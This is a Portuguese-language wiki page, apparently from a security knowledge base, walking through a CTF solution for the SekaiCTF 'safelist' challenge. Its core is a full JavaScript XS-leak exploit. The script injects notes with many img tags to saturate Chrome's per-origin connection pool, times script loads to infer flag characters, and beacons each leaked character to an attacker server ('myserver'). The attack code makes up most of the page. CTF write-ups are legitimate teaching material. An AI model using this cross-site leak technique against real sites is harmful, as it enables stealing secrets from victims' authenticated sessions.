Connection Pool by Destination Example
Neste exploit, @terjanq propõe mais uma solução para o desafio mencionado na página seguinte:
pageConnection Pool by Destination ExampleVamos ver como esse exploit funciona:
O atacante injetará uma nota com o maior número possível de tags
<img
carregando/js/purify.js
(mais de 6 para bloquear a origem).Em seguida, o atacante irá remover a nota com o índice 1.
Em seguida, o atacante irá [fazer o bot acessar a página com a nota restante] e enviará uma requisição para
victim.com/js/purify.js
que ele irá cronometrar.Se o tempo for maior, a injeção estava na nota restante, se o tempo for menor, a flag estava lá.
Sinceramente, lendo o script, perdi parte em que o atacante faz o bot carregar a página para acionar as tags img, não vejo nada assim no código
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter}
+ Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>
).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
Last updated